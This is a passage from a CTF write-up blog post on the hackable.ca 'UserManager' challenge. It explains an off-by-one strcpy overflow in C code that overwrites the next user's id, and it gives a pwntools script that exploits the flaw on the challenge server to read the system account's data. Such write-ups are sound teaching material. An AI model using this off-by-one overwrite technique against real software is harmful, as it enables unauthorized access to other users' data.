<span class="w"> </span><span class="n">userInputLine</span><span class="p">(</span><span class="n">inputLine</span><span class="p">,</span><span class="w"> </span><span class="s">"set age"</span><span class="p">);</span>
<span class="w"> </span><span class="n">maxage</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">age</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">strlen</span><span class="p">(</span><span class="n">inputLine</span><span class="p">)</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="n">maxage</span><span class="p">)</span><span class="w"> </span>
<span class="w"> </span><span class="n">inputLine</span><span class="p">[</span><span class="n">maxage</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">age</span><span class="p">,</span><span class="w"> </span><span class="n">inputLine</span><span class="p">);</span><span class="w"> </span>
<span class="w"> </span><span class="p">}</span>
</code></pre></div>
<p>At first, function looks safe, but if we take a look at docs of <code>strlen</code> and <code>strcpy</code> we see:</p>
<div class="highlight"><pre><span></span><code><span class="n">The</span><span class="w"> </span><span class="n">C</span><span class="w"> </span><span class="n">library</span><span class="w"> </span><span class="n">function</span><span class="w"> </span><span class="n">size_t</span><span class="w"> </span><span class="o">**</span><span class="n">strlen</span><span class="o">**</span><span class="p">(</span><span class="k">const</span><span class="w"> </span><span class="nb">char</span><span class="w"> </span><span class="o">*</span><span class="nb">str</span><span class="p">)</span><span class="w"> </span><span class="n">computes</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">length</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">string</span><span class="w"> </span><span class="nb">str</span><span class="w"> </span><span class="n">up</span><span class="w"> </span><span class="n">to</span><span class="p">,</span><span class="w"> </span><span class="o">**</span><span class="n">but</span><span class="w"> </span><span class="ow">not</span><span class="w"> </span><span class="n">including</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">terminating</span><span class="w"> </span><span class="nb nb-Type">null</span><span class="w"> </span><span class="n">character</span><span class="o">.**</span>
<span class="n">The</span><span class="w"> </span><span class="o">**</span><span class="n">strcpy</span><span class="o">**</span><span class="p">()</span><span class="w"> </span><span class="n">function</span><span class="w"> </span><span class="n">copies</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">string</span><span class="w"> </span><span class="n">pointed</span><span class="w"> </span><span class="n">by</span><span class="w"> </span><span class="n">source</span><span class="w"> </span><span class="p">(</span><span class="o">**</span><span class="n">including</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="nb nb-Type">null</span><span class="w"> </span><span class="n">character</span><span class="o">**</span><span class="p">)</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">character</span><span class="w"> </span><span class="n">array</span><span class="w"> </span><span class="n">destination</span><span class="o">.</span>
</code></pre></div>
<p>And since functions only checks for <code>len > maxage</code> if we insert <code>8 * a</code> (8 is the size of buffer holding age) check will still pass. This will cause <code>strcpy</code> to copy 9 bytes to destination buffer overwriting one byte of data. If we take a look at user struct we will see that it will overwrite <code>id</code> of next user since they are stored in array.</p>
<p>Looking at how <code>viewUser()</code> and <code>displayUserInfo()</code> work. We see that <code>viewUser()</code> sets <code>current_user</code> to id of first user with the given name, while <code>displayUserInfo()</code> uses that <code>current_user</code> as index to user array. This means that if we create a user, overwrite his <code>id</code> to 0, then select him program will actually print information of systemAccount giving us flag. So let’s write short script implementing this (although in this case, it is easy to do manually as well):</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="o">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s1">'i386'</span>
<span class="c1">#r = process('./usermanager')</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">'pwnable.hackable.ca'</span><span class="p">,</span> <span class="mi">9995</span><span class="p">)</span>
<span class="c1">#create 2 users a1 and a2</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">):</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'> '</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'2'</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'set usernme> '</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'a'</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'set email> '</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'a'</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'set age> '</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'a'</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'set password> '</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'a'</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'5'</span><span class="p">)</span>
<span class="c1">#change age of user a1</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'> '</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1'</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'name of user> '</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'a1'</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'> '</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'3'</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'set age> '</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'a'</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span>
<span class="c1">#get our flag</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'> '</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'5'</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'> '</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1'</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'name of user> '</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'a2'</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'> '</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div>
<p>And we get the flag :D</p>
<p><img alt="flag" class="img-fluid centerimage" src="https://f3real.github.io/images/2018_8_3_UserManager.png"></p>
</div>
<footer class="text-right">
<p>- F3real</p>
</footer>
<div id="show-comments" class="span7 text-center">
<a href="https://f3real.github.io/hackable_ca_userManager.html#disqus_thread"
data-disqus-identifier="hackable_ca_userManager"
class="btn btn-primary twitchy-background">Show Comments</a>
</div>
<section id="comments" class="comments hidden">
<hr/>
<h2>Comments</h2>
<div id="disqus_thread"></div>
<noscript>Please enable JavaScript to view the <a href="http://disqus.com/?ref_noscript">comments powered by
Disqus.</a></noscript>
<a href="http://disqus.com" class="dsq-brlink">comments powered by <span class="logo-disqus">Disqus</span></a>
</section>
</div>
</div>
</article>
</section>
<footer>
<hr>
<div class="row">
<div class="col-lg-10 text-center">
<p><small>
Built by <a href="http://docs.getpelican.com/en/latest">Pelican</a> / <a href="https://github.com/F3real/pelican-twitchy">pelican-twitchy</a>
· © 2024 F3real
</small></p>
</div>
</div>
</footer> </div>
</div>
<!-- /#page-content-wrapper -->
</div>
<!-- /#wrapper -->
<!-- disqus -->
<script type="text/javascript">
/* * * CONFIGURATION VARIABLES: EDIT BEFORE PASTING INTO YOUR WEBPAGE * * */
var disqus_shortname = 'https-f3real-github-io'; // required: replace example with your forum shortname
var disqus_identifier = 'hackable_ca_userManager';
var disqus_url = 'https://f3real.github.io/hackable_ca_userManager.html';
var disqus_config = function () {
this.language = "en";
};
var commentsDiv = document.getElementById('show-comments');
commentsDiv.onclick = function() {
/* * * DON'T EDIT BELOW THIS LINE * * */
(function () {
var dsq = document.createElement('script');
dsq.type = 'text/javascript';
dsq.async = true;
dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
})();
this.style.display = 'none';
};
</script>
<!-- /disqus -->
<script>
const wrapper = document.getElementById('wrapper');
const sidebarBig = document.getElementById('sidebar-wrapper');
const sidebarSmall = document.getElementById('sidebar-wrapper-small');
const triggers = Array.from(document.querySelectorAll('[data-toggle="collapse"]'));
for (var i = 0; i < triggers.length; i++) {
triggers[i].addEventListener('click', (ev) => {
const elm = ev.currentTarget;
ev.preventDefault();
const selector = elm.getAttribute('href').replace('#','');
elm.classList.toggle('collapsed');
document.getElementById(selector).classList.toggle('show');
}, false);
}
function showBigNav() {;
sidebarBig.style.display = 'block';
sidebarSmall.style.display = 'none';
}
function showSmallNav() {
sidebarBig.style.display = 'none';
sidebarSmall.style.display = 'block';
}
const mediaQuery = window.matchMedia('(min-width:768px)');
mediaQuery.onchange = e => {
if (wrapper.classList.contains('toggled')) {
wrapper.classList.remove('toggled');
} else {
if (e.matches) {
showBigNav();
} else {
showSmallNav();
}
}
}
function setNavbar() {
var condition = wrapper.classList.contains('toggled');
if (!mediaQuery.matches) {
condition = !condition;
}
if (condition) {
showSmallNav();
} else {
showBigNav();
}
}
function toggleMenu(){
wrapper.classList.toggle('toggled');
setNavbar();
}
window.onload = setNavbar;
</script>
<script data-goatcounter="https://f3real.goatcounter.com/count"
async src="//gc.zgo.at/count.js"></script>
</body>
</html>